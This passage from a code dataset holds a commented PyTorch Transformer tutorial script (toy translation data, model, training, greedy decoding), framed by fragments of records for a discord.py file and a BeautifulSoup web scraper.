"attribute"}, {"api_name": "discord.ext.commands.BadArgument", "line_number": 82, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 82, "usage_type": "name"}, {"api_name": "re.match", "line_number": 91, "usage_type": "call"}, {"api_name": "discord.utils.find", "line_number": 105, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 105, "usage_type": "attribute"}, {"api_name": "discord.utils.find", "line_number": 115, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 115, "usage_type": "attribute"}, {"api_name": "discord.utils.find", "line_number": 118, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 118, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.BadArgument", "line_number": 121, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 121, "usage_type": "name"}]} +{"seq_id": "23832689840", "text": "import math\r\nimport torch\r\nimport numpy as np\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nimport torch.utils.data as Data\r\n\r\n# S: Symbol that shows starting of decoding input\r\n# E: Symbol that shows starting of decoding output\r\n# P: Symbol that will fill in blank sequence if current batch data size is short than time steps\r\n# 如果当前批处理数据大小小于时间步长，则将填充空白序列的符号\r\nsentences = [\r\n # enc_input dec_input dec_output\r\n ['ich mochte ein bier P', 'S i want a beer .', 'i want a beer . E'],\r\n ['ich mochte ein cola P', 'S i want a coke .', 'i want a coke . E']\r\n]\r\n\r\n# Padding Should be Zero\r\nsrc_vocab = {'P': 0, 'ich': 1, 'mochte': 2, 'ein': 3, 'bier': 4, 'cola': 5} # encoding编码库\r\nsrc_vocab_size = len(src_vocab) # encoding编码集长度=6\r\n\r\ntgt_vocab = {'P': 0, 'i': 1, 'want': 2, 'a': 3, 'beer': 4, 'coke': 5, 'S': 6, 'E': 7, '.': 8} # decoding编码库\r\nidx2word = {i: w for i, w in\r\n enumerate(tgt_vocab)} # 输出{0: 'P', 1: 'i', 2: 'want', 3: 'a', 4: 'beer', 5: 'coke', 6: 'S', 7: 'E', 8: '.'}\r\n# print(tgt_vocab) 可以看出区别 i: w ---> w : i\r\n# print(idx2word)\r\n\r\ntgt_vocab_size = len(tgt_vocab) # decoding编码集长度=9\r\n\r\nsrc_len = 5 # enc_input max sequence length\r\ntgt_len = 6 # dec_input(=dec_output) max sequence length 最大序列长度\r\n\r\n\r\ndef make_data(sentences): # 将encoding的输入、decoding的输入与输出进行编码\r\n enc_inputs, dec_inputs, dec_outputs = [], [], []\r\n for i in range(len(sentences)): # 2个句子\r\n enc_input = [[src_vocab[n] for n in sentences[i][0].split()]] # [[1, 2, 3, 4, 0], [1, 2, 3, 5, 0]]\r\n dec_input = [[tgt_vocab[n] for n in sentences[i][1].split()]] # [[6, 1, 2, 3, 4, 8], [6, 1, 2, 3, 5, 8]]\r\n dec_output = [[tgt_vocab[n] for n in sentences[i][2].split()]] # [[1, 2, 3, 4, 8, 7], [1, 2, 3, 5, 8, 7]]\r\n\r\n enc_inputs.extend(enc_input) # extend()函数用于在列表末尾一次性追加另一个序列中的多个值(用新列表扩展原来的列表)。\r\n dec_inputs.extend(dec_input)\r\n dec_outputs.extend(dec_output)\r\n\r\n return torch.LongTensor(enc_inputs), torch.LongTensor(dec_inputs), torch.LongTensor(\r\n dec_outputs) # torch.Tensor默认是torch.FloatTensor是32位浮点类型数据，torch.LongTensor是64位整型\r\n\r\n\r\nenc_inputs, dec_inputs, dec_outputs = make_data(sentences)\r\n\r\n\r\nclass MyDataSet(Data.Dataset): # Data.Dataset加载数据的数据集\r\n def __init__(self, enc_inputs, dec_inputs, dec_outputs): # 加载数据集\r\n super(MyDataSet, self).__init__()\r\n self.enc_inputs = enc_inputs\r\n self.dec_inputs = dec_inputs\r\n self.dec_outputs = dec_outputs\r\n\r\n def __len__(self): # 获得encoding的输入的\r\n return self.enc_inputs.shape[0] #\r\n\r\n def __getitem__(self, idx):\r\n return self.enc_inputs[idx], self.dec_inputs[idx], self.dec_outputs[idx]\r\n\r\n\r\nloader = Data.DataLoader(MyDataSet(enc_inputs, dec_inputs, dec_outputs), 2, True)\r\n# 数据加载器，结合了数据集和取样器，并且可以提供多个线程处理数据集。\r\n# 在训练模型时使用到此函数，用来把训练数据分成多个小组，此函数每次抛出一组数据。\r\n# 直至把所有的数据都抛出。就是做一个数据的初始化\r\n# 上面例子中的2代表的是batch_size=2。\r\n# shuffle=True表示在��个epoch重新打乱洗牌\r\n\r\n\r\nprint('----------------------------------------------------------------')\r\n# Transformer Parameters\r\nd_model = 512 # Embedding Size 字嵌入 & 位置嵌入的维度，这俩值是相同的，因此用一个变量就行了\r\nd_ff = 2048 # FeedForward dimension FeedForward 层隐藏神经元个数\r\nd_k = d_v = 64 # dimension of K(=Q), V Q、K、V 向量的维度，其中 Q 与 K 的维度必须相等，V 的维度没有限制，不过为了方便起见，我都设为 64\r\nn_layers = 6 # number of Encoder of Decoder Layer Encoder 和 Decoder 的个数\r\nn_heads = 8 # number of heads in Multi-Head Attention 多头注意力中 head 的数量\r\n\r\nprint('----------------------------------------------------------------')\r\n\r\n\r\n# Positional Encoding\r\nclass PositionalEncoding(nn.Module):\r\n def __init__(self, d_model, dropout=0.1, max_len=5000):\r\n super(PositionalEncoding, self).__init__()\r\n self.dropout = nn.Dropout(p=dropout) # dropout=0.1是什么意思？\r\n\r\n pe = torch.zeros(max_len, d_model) # 全0矩阵\r\n position = torch.arange(0, max_len, dtype=torch.float).unsqueeze(1) # 位置编码\r\n div_term = torch.exp(torch.arange(0, d_model, 2).float() * (-math.log(10000.0) / d_model))\r\n pe[:, 0::2] = torch.sin(position * div_term) # 位置嵌入的公式 position-->t div_term-->wk\r\n pe[:, 1::2] = torch.cos(position * div_term)\r\n pe = pe.unsqueeze(0).transpose(0, 1) # 位置编码\r\n self.register_buffer('pe', pe) # pe为位置编码 register_buffer：应该就是在内存中定一个常量，同时，模型保存和加载的时候可以写入和读出。\r\n\r\n def forward(self, x):\r\n '''\r\n x: [seq_len, batch_size, d_model]\r\n '''\r\n x = x + self.pe[:x.size(0), :]\r\n return self.dropout(x)\r\n\r\n\r\n# Pad Mask\r\ndef get_attn_pad_mask(seq_q, seq_k): # 传入的是dec_inputs\r\n '''\r\n seq_q: [batch_size, seq_len]\r\n seq_k: [batch_size, seq_len]\r\n seq_len could be src_len or it could be tgt_len\r\n seq_len in seq_q and seq_len in seq_k maybe not equal\r\n '''\r\n batch_size, len_q = seq_q.size() # 批量大小batch_size=2,序列长度len_q=6\r\n batch_size, len_k = seq_k.size()\r\n # eq(zero) is PAD token\r\n pad_attn_mask = seq_k.data.eq(0).unsqueeze( # 在第2维（从0开始）增加一个维度\r\n 1) # 得到这种形式[F,F,F,F,F,F] tensor([[[False, False, False, False, False, False]],\\n\\n [[False, False, False, False, False, False]]]) [batch_size, 1, len_k], True is masked\r\n return pad_attn_mask.expand(batch_size, len_q, len_k) # [batch_size, len_q, len_k]\r\n\r\n\r\n# Subsequence Mask\r\ndef get_attn_subsequence_mask(seq): # 传入的是dec_inputs\r\n '''\r\n seq: [batch_size, tgt_len]\r\n '''\r\n attn_shape = [seq.size(0), seq.size(1), seq.size(1)] # size()指定返回哪一维的元素个数。当没有指定时，返回整个矩阵的元素个数。---> 2行，每一行6个元素\r\n subsequence_mask = np.triu(np.ones(attn_shape),\r\n k=1) # Subsequence Mask 只有 Decoder 会用到，主要作用是屏蔽未来时刻单词的信息。首先通过 np.ones() 生成一个全 1 的方阵，\r\n # 然后通过 np.triu() 生成一个上三角矩阵，k=0表示正常的上三角矩阵，k=-1表示对角线的位置下移1个对角线,k=1表示对角线的位置上移1个对角线Upper triangular matrix\r\n subsequence_mask = torch.from_numpy(subsequence_mask).byte()\r\n # tensor([[[0, 1, 1, 1, 1, 1],\r\n # [0, 0, 1, 1, 1, 1],\r\n # [0, 0, 0, 1, 1, 1],\r\n # [0, 0, 0, 0, 1, 1],\r\n # [0, 0, 0, 0, 0, 1],\r\n # [0, 0, 0, 0, 0, 0]],\r\n\r\n # [[0, 1, 1, 1, 1, 1],\r\n # [0, 0, 1, 1, 1, 1],\r\n # [0, 0, 0, 1, 1, 1],\r\n # [0, 0, 0, 0, 1, 1],\r\n # [0, 0, 0, 0, 0, 1],\r\n # [0, 0, 0, 0, 0, 0]]], dtype=torch.uint8)\r\n return subsequence_mask # [batch_size, tgt_len, tgt_len]\r\n\r\n\r\n# ScaledDotProductAttention\r\nclass ScaledDotProductAttention(nn.Module):\r\n def __init__(self):\r\n super(ScaledDotProductAttention, self).__init__()\r\n\r\n def forward(self, Q, K, V, attn_mask):\r\n '''\r\n Q: [batch_size, n_heads, len_q, d_k]\r\n K: [batch_size, n_heads, len_k, d_k]\r\n V: [batch_size, n_heads, len_v(=len_k), d_v]\r\n attn_mask: [batch_size, n_heads, seq_len, seq_len]\r\n '''\r\n scores = torch.matmul(Q, K.transpose(-1, -2)) / np.sqrt(d_k) # scores : [batch_size, n_heads, len_q, len_k]\r\n scores.masked_fill_(attn_mask, -1e9) # Fills elements of self tensor with value where mask is True.\r\n\r\n attn = nn.Softmax(dim=-1)(scores) # dim=1则每一行的和为1，dim=-1则每一列的和为1\r\n context = torch.matmul(attn, V) # [batch_size, n_heads, len_q, d_v]\r\n return context, attn\r\n\r\n\r\n# MultiHeadAttention\r\nclass MultiHeadAttention(nn.Module):\r\n def __init__(self):\r\n super(MultiHeadAttention, self).__init__()\r\n self.W_Q = nn.Linear(d_model, d_k * n_heads, bias=False)\r\n self.W_K = nn.Linear(d_model, d_k * n_heads, bias=False)\r\n self.W_V = nn.Linear(d_model, d_v * n_heads, bias=False)\r\n self.fc = nn.Linear(n_heads * d_v, d_model, bias=False)\r\n\r\n def forward(self, input_Q, input_K, input_V, attn_mask):\r\n '''\r\n input_Q: [batch_size, len_q, d_model]\r\n input_K: [batch_size, len_k, d_model]\r\n input_V: [batch_size, len_v(=len_k), d_model]\r\n attn_mask: [batch_size, seq_len, seq_len]\r\n '''\r\n residual, batch_size = input_Q, input_Q.size(0)\r\n # (B, S, D) -proj-> (B, S, D_new) -split-> (B, S, H, W) -trans-> (B, H, S, W)\r\n Q = self.W_Q(input_Q).view(batch_size, -1, n_heads, d_k).transpose(1, 2) # Q: [batch_size, n_heads, len_q, d_k]\r\n K = self.W_K(input_K).view(batch_size, -1, n_heads, d_k).transpose(1, 2) # K: [batch_size, n_heads, len_k, d_k]\r\n V = self.W_V(input_V).view(batch_size, -1, n_heads, d_v).transpose(1,\r\n 2) # V: [batch_size, n_heads, len_v(=len_k), d_v]\r\n\r\n attn_mask = attn_mask.unsqueeze(1).repeat(1, n_heads, 1,\r\n 1) # attn_mask : [batch_size, n_heads, seq_len, seq_len]\r\n\r\n # context: [batch_size, n_heads, len_q, d_v], attn: [batch_size, n_heads, len_q, len_k]\r\n context, attn = ScaledDotProductAttention()(Q, K, V, attn_mask)\r\n context = context.transpose(1, 2).reshape(batch_size, -1,\r\n n_heads * d_v) # context: [batch_size, len_q, n_heads * d_v]\r\n output = self.fc(context) # [batch_size, len_q, d_model]\r\n return nn.LayerNorm(d_model).to(device)(output + residual), attn\r\n\r\n\r\n# FeedForward Layer\r\nclass PoswiseFeedForwardNet(nn.Module):\r\n def __init__(self):\r\n super(PoswiseFeedForwardNet, self).__init__()\r\n self.fc = nn.Sequential( # 两层线性映射并用激活函数\r\n nn.Linear(d_model, d_ff, bias=False),\r\n nn.ReLU(),\r\n nn.Linear(d_ff, d_model, bias=False)\r\n )\r\n\r\n def forward(self, inputs):\r\n '''\r\n inputs: [batch_size, seq_len, d_model]\r\n '''\r\n residual = inputs\r\n output = self.fc(inputs)\r\n return nn.LayerNorm(d_model).to(device)(output + residual) # [batch_size, seq_len, d_model]\r\n\r\n\r\n# Encoder Layer\r\nclass EncoderLayer(nn.Module):\r\n def __init__(self):\r\n super(EncoderLayer, self).__init__()\r\n self.enc_self_attn = MultiHeadAttention() # 多头注意力机制\r\n self.pos_ffn = PoswiseFeedForwardNet()\r\n\r\n def forward(self, enc_inputs, enc_self_attn_mask):\r\n '''\r\n enc_inputs: [batch_size, src_len, d_model]\r\n enc_self_attn_mask: [batch_size, src_len, src_len]\r\n '''\r\n # enc_outputs: [batch_size, src_len, d_model], attn: [batch_size, n_heads, src_len, src_len]\r\n enc_outputs, attn = self.enc_self_attn(enc_inputs, enc_inputs, enc_inputs,\r\n enc_self_attn_mask) # enc_inputs to same Q,K,V\r\n enc_outputs = self.pos_ffn(enc_outputs) # enc_outputs: [batch_size, src_len, d_model]\r\n return enc_outputs, attn\r\n\r\n\r\n# Encoder\r\nclass Encoder(nn.Module):\r\n def __init__(self):\r\n super(Encoder, self).__init__()\r\n self.src_emb = nn.Embedding(src_vocab_size, d_model) # encoding中输入Embedding\r\n self.pos_emb = PositionalEncoding(d_model) # encoding中PositionalEncoding\r\n self.layers = nn.ModuleList([EncoderLayer() for _ in range(n_layers)]) # Encoder Layer中6层Layer\r\n\r\n def forward(self, enc_inputs):\r\n '''\r\n enc_inputs: [batch_size, src_len]\r\n '''\r\n enc_outputs = self.src_emb(enc_inputs) # [batch_size, src_len, d_model]\r\n enc_outputs = self.pos_emb(enc_outputs.transpose(0, 1)).transpose(0, 1) # [batch_size, src_len, d_model]\r\n enc_self_attn_mask = get_attn_pad_mask(enc_inputs, enc_inputs) # [batch_size, src_len, src_len]\r\n enc_self_attns = []\r\n for layer in self.layers:\r\n # enc_outputs: [batch_size, src_len, d_model], enc_self_attn: [batch_size, n_heads, src_len, src_len]\r\n enc_outputs, enc_self_attn = layer(enc_outputs, enc_self_attn_mask)\r\n enc_self_attns.append(enc_self_attn)\r\n return enc_outputs, enc_self_attns\r\n\r\n\r\n# Decoder Layer\r\nclass DecoderLayer(nn.Module):\r\n def __init__(self):\r\n super(DecoderLayer, self).__init__()\r\n self.dec_self_attn = MultiHeadAttention()\r\n self.dec_enc_attn = MultiHeadAttention()\r\n self.pos_ffn = PoswiseFeedForwardNet()\r\n\r\n def forward(self, dec_inputs, enc_outputs, dec_self_attn_mask, dec_enc_attn_mask):\r\n '''\r\n dec_inputs: [batch_size, tgt_len, d_model]\r\n enc_outputs: [batch_size, src_len, d_model]\r\n dec_self_attn_mask: [batch_size, tgt_len, tgt_len]\r\n dec_enc_attn_mask: [batch_size, tgt_len, src_len]\r\n '''\r\n # dec_outputs: [batch_size, tgt_len, d_model], dec_self_attn: [batch_size, n_heads, tgt_len, tgt_len]\r\n dec_outputs, dec_self_attn = self.dec_self_attn(dec_inputs, dec_inputs, dec_inputs, dec_self_attn_mask)\r\n # dec_outputs: [batch_size, tgt_len, d_model], dec_enc_attn: [batch_size, h_heads, tgt_len, src_len]\r\n dec_outputs, dec_enc_attn = self.dec_enc_attn(dec_outputs, enc_outputs, enc_outputs, dec_enc_attn_mask)\r\n dec_outputs = self.pos_ffn(dec_outputs) # [batch_size, tgt_len, d_model]\r\n return dec_outputs, dec_self_attn, dec_enc_attn\r\n\r\n\r\n# Decoder\r\nclass Decoder(nn.Module):\r\n def __init__(self):\r\n super(Decoder, self).__init__()\r\n self.tgt_emb = nn.Embedding(tgt_vocab_size, d_model)\r\n self.pos_emb = PositionalEncoding(d_model)\r\n self.layers = nn.ModuleList([DecoderLayer() for _ in range(n_layers)])\r\n\r\n def forward(self, dec_inputs, enc_inputs, enc_outputs):\r\n '''\r\n dec_inputs: [batch_size, tgt_len]\r\n enc_intpus: [batch_size, src_len]\r\n enc_outputs: [batch_size, src_len, d_model]\r\n '''\r\n dec_outputs = self.tgt_emb(dec_inputs) # [batch_size, tgt_len, d_model]\r\n dec_outputs = self.pos_emb(dec_outputs.transpose(0, 1)).transpose(0, 1).to(\r\n device) # [batch_size, tgt_len, d_model]\r\n dec_self_attn_pad_mask = get_attn_pad_mask(dec_inputs, dec_inputs).to(device) # [batch_size, tgt_len, tgt_len]\r\n dec_self_attn_subsequence_mask = get_attn_subsequence_mask(dec_inputs).to(\r\n device) # [batch_size, tgt_len, tgt_len]\r\n dec_self_attn_mask = torch.gt((dec_self_attn_pad_mask + dec_self_attn_subsequence_mask), # 判断矩阵的元素是否大于0，大于0返回True,反之为False\r\n 0).to(device) # [batch_size, tgt_len, tgt_len]\r\n\r\n dec_enc_attn_mask = get_attn_pad_mask(dec_inputs, enc_inputs) # [batc_size, tgt_len, src_len]\r\n\r\n dec_self_attns, dec_enc_attns = [], []\r\n for layer in self.layers:\r\n # dec_outputs: [batch_size, tgt_len, d_model], dec_self_attn: [batch_size, n_heads, tgt_len, tgt_len], dec_enc_attn: [batch_size, h_heads, tgt_len, src_len]\r\n dec_outputs, dec_self_attn, dec_enc_attn = layer(dec_outputs, enc_outputs, dec_self_attn_mask,\r\n dec_enc_attn_mask)\r\n dec_self_attns.append(dec_self_attn)\r\n dec_enc_attns.append(dec_enc_attn)\r\n return dec_outputs, dec_self_attns, dec_enc_attns\r\n\r\n\r\n# 做mask\r\ndec_self_attn_pad_mask = get_attn_pad_mask(dec_inputs, dec_inputs) # [batch_size, tgt_len, tgt_len]\r\n# 输出 #tensor([[[False, False, False, False, False, False], 隐藏decode的输入 mask\r\n# [False, False, False, False, False, False],\r\n# [False, False, False, False, False, False],\r\n# [False, False, False, False, False, False],\r\n# [False, False, False, False, False, False],\r\n# [False, False, False, False, False, False]],\r\n\r\n# [[False, False, False, False, False, False],\r\n# [False, False, False, False, False, False],\r\n# [False, False, False, False, False, False],\r\n# [False, False, False, False, False, False],\r\n# [False, False, False, False, False, False],\r\n# [False, False, False, False, False, False]]])\r\ndec_self_attn_subsequence_mask = get_attn_subsequence_mask(dec_inputs) # [batch_size, tgt_len, tgt_len]\r\n# tensor([[[0, 1, 1, 1, 1, 1],\r\n# [0, 0, 1, 1, 1, 1],\r\n# [0, 0, 0, 1, 1, 1],\r\n# [0, 0, 0, 0, 1, 1],\r\n# [0, 0, 0, 0, 0, 1],\r\n# [0, 0, 0, 0, 0, 0]],\r\n\r\n# [[0, 1, 1, 1, 1, 1],\r\n# [0, 0, 1, 1, 1, 1],\r\n# [0, 0, 0, 1, 1, 1],\r\n# [0, 0, 0, 0, 1, 1],\r\n# [0, 0, 0, 0, 0, 1],\r\n# [0, 0, 0, 0, 0, 0]]], dtype=torch.uint8)\r\ndec_self_attn_mask = torch.gt((dec_self_attn_pad_mask + dec_self_attn_subsequence_mask),\r\n 0) # [batch_size, tgt_len, tgt_len]\r\n\r\n\r\n# tensor([[[False, True, True, True, True, True],\r\n# [False, False, True, True, True, True],\r\n# [False, False, False, True, True, True],\r\n# [False, False, False, False, True, True],\r\n# [False, False, False, False, False, True],\r\n#\r\n# [[False, True, True, True, True, True],\r\n# [False, False, True, True, True, True],\r\n# [False, False, False, True, True, True],\r\n# [False, False, False, False, True, True],\r\n# [False, False, False, False, False, True],\r\n# [False, False, False, False, False, False]]])\r\n\r\n# Transformer\r\nclass Transformer(nn.Module):\r\n def __init__(self):\r\n super(Transformer,\r\n self).__init__() # 首先找到Transformer的父类（比如是类A），然后把类Transformer的对象self转换为类A的对象，然后“被转换”的类A对象调用自己的__init__函数.\r\n self.encoder = Encoder().to(device)\r\n self.decoder = Decoder().to(device)\r\n self.projection = nn.Linear(d_model, tgt_vocab_size, bias=False).to(device)\r\n\r\n def forward(self, enc_inputs, dec_inputs):\r\n '''\r\n enc_inputs: [batch_size, src_len]\r\n dec_inputs: [batch_size, tgt_len]\r\n '''\r\n # tensor to store decoder outputs\r\n # outputs = torch.zeros(batch_size, tgt_len, tgt_vocab_size).to(self.device)\r\n\r\n # enc_outputs: [batch_size, src_len, d_model], enc_self_attns: [n_layers, batch_size, n_heads, src_len, src_len]\r\n enc_outputs, enc_self_attns = self.encoder(enc_inputs)\r\n # dec_outpus: [batch_size, tgt_len, d_model], dec_self_attns: [n_layers, batch_size, n_heads, tgt_len, tgt_len], dec_enc_attn: [n_layers, batch_size, tgt_len, src_len]\r\n dec_outputs, dec_self_attns, dec_enc_attns = self.decoder(dec_inputs, enc_inputs, enc_outputs)\r\n dec_logits = self.projection(dec_outputs) # dec_logits: [batch_size, tgt_len, tgt_vocab_size]\r\n return dec_logits.view(-1, dec_logits.size(-1)), enc_self_attns, dec_self_attns, dec_enc_attns\r\n\r\n\r\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n\r\nmodel = Transformer().to(\r\n device) # 模型调用model.cuda()，可以将模型加载到GPU上去。这种方法不被提倡，而建议使用model.to(device)的方式，这样可以显示指定需要使用的计算资源，特别是有多个GPU的情况下。\r\ncriterion = nn.CrossEntropyLoss(ignore_index=0) # 损失函数\r\noptimizer = optim.SGD(model.parameters(), lr=1e-3, momentum=0.99) # 优化器\r\n\r\n# 训练\r\nfor epoch in range(30):\r\n for enc_inputs, dec_inputs, dec_outputs in loader:\r\n '''\r\n enc_inputs: [batch_size, src_len]\r\n dec_inputs: [batch_size, tgt_len]\r\n dec_outputs: [batch_size, tgt_len]\r\n '''\r\n enc_inputs, dec_inputs, dec_outputs = enc_inputs.to(device), dec_inputs.to(device), dec_outputs.to(device)\r\n # outputs: [batch_size * tgt_len, tgt_vocab_size]\r\n outputs, enc_self_attns, dec_self_attns, dec_enc_attns = model(enc_inputs, dec_inputs)\r\n loss = criterion(outputs, dec_outputs.view(-1))\r\n print('Epoch:', '%04d' % (epoch + 1), 'loss =', '{:.6f}'.format(loss))\r\n\r\n optimizer.zero_grad()\r\n loss.backward() # 求loss中其他所有自变量的梯度\r\n optimizer.step()\r\n\r\n\r\n# 测试\r\ndef greedy_decoder(model, enc_input, start_symbol):\r\n \"\"\"\r\n For simplicity, a Greedy Decoder is Beam search when K=1. This is necessary for inference as we don't know the\r\n target sequence input. Therefore we try to generate the target input word by word, then feed it into the transformer.\r\n Starting Reference: http://nlp.seas.harvard.edu/2018/04/03/attention.html#greedy-decoding\r\n :param model: Transformer Model\r\n :param enc_input: The encoder input\r\n :param start_symbol: The start symbol. In this example it is 'S' which corresponds to index 4\r\n :return: The target input\r\n \"\"\"\r\n enc_outputs, enc_self_attns = model.encoder(enc_input)\r\n dec_input = torch.zeros(1, 0).type_as(enc_input.data)\r\n terminal = False\r\n next_symbol = start_symbol\r\n while not terminal:\r\n dec_input = torch.cat([dec_input.detach(), torch.tensor([[next_symbol]], dtype=enc_input.dtype)], -1)\r\n dec_outputs, _, _ = model.decoder(dec_input, enc_input, enc_outputs)\r\n projected = model.projection(dec_outputs)\r\n prob = projected.squeeze(0).max(dim=-1, keepdim=False)[1]\r\n next_word = prob.data[-1]\r\n next_symbol = next_word\r\n if next_symbol == tgt_vocab[\".\"]:\r\n terminal = True\r\n print(next_word)\r\n return dec_input\r\n\r\n\r\n# Test\r\nenc_inputs, _, _ = next(iter(loader))\r\nfor i in range(len(enc_inputs)):\r\n greedy_dec_input = greedy_decoder(model, enc_inputs[i].view(1, -1), start_symbol=tgt_vocab[\"S\"])\r\n predict, _, _, _ = model(enc_inputs[i].view(1, -1), greedy_dec_input)\r\n predict = predict.data.max(1, keepdim=True)[1]\r\n print(enc_inputs[i], '->', [idx2word[n.item()] for n in predict.squeeze()])\r\n", "repo_name": "cary1024/PicGo", "sub_path": "img/20210809193850.py", "file_name": "20210809193850.py", "file_ext": "py", "file_size_in_byte": 22709, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.LongTensor", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 52, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 86, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 89, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 92, "usage_type": "attribute"}, {"api_name": "torch.exp", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 93, "usage_type": "call"}, {"api_name": "math.log", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.sin", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.cos", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.triu", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 150, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 150, "usage_type": "name"}, {"api_name": "torch.matmul", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.nn.Softmax", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 164, "usage_type": "name"}, {"api_name": "torch.matmul", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 170, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 170, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 173, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 174, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 175, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 176, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 200, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 200, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 204, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 204, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 207, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 208, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 208, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 209, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 210, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 219, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 219, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 223, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 223, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 242, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 242, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 245, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 247, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 247, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 265, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 265, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 288, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 288, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 291, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 291, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 293, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 293, "usage_type": "name"}, {"api_name": "torch.gt", "line_number": 307, "usage_type": "call"}, {"api_name": "torch.gt", "line_number": 351, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 369, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 369, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 375, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 375, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 393, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 393, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 393, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 397, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 397, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 398, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 398, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 431, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 435, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 435, "usage_type": "call"}]} +{"seq_id": "42588303462", "text": "#lab 3 scraper file\r\n#scrape the table from - https://www.esrl.noaa.gov/gmd/aggi/aggi.html\r\n#and store the data into database\r\n\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nimport pandas as pd\r\nimport webbrowser\r\nimport sqlite3\r\n\r\n# https://www.esrl.noaa.gov/gmd/aggi/aggi.html\r\n\r\n#creates beautifulSoup object from 'site' html text object\r\nsite = requests.get('https://www.esrl.noaa.gov/gmd/aggi/aggi.html').text\r\nsoup = BeautifulSoup(site, 'html.parser')\r\n\r\n#i first use this to find all the tables on the page and from there i can determine which one to parse out\r\n#for table in soup.find_all('table'):\r\n# print(table.get('class'))\r\n\r\n#from the above ^ i got: ['table', 'table-bordered', 'table-condensed', 'table-striped', 'table-header']\r\n#as the second table we need to work with on the 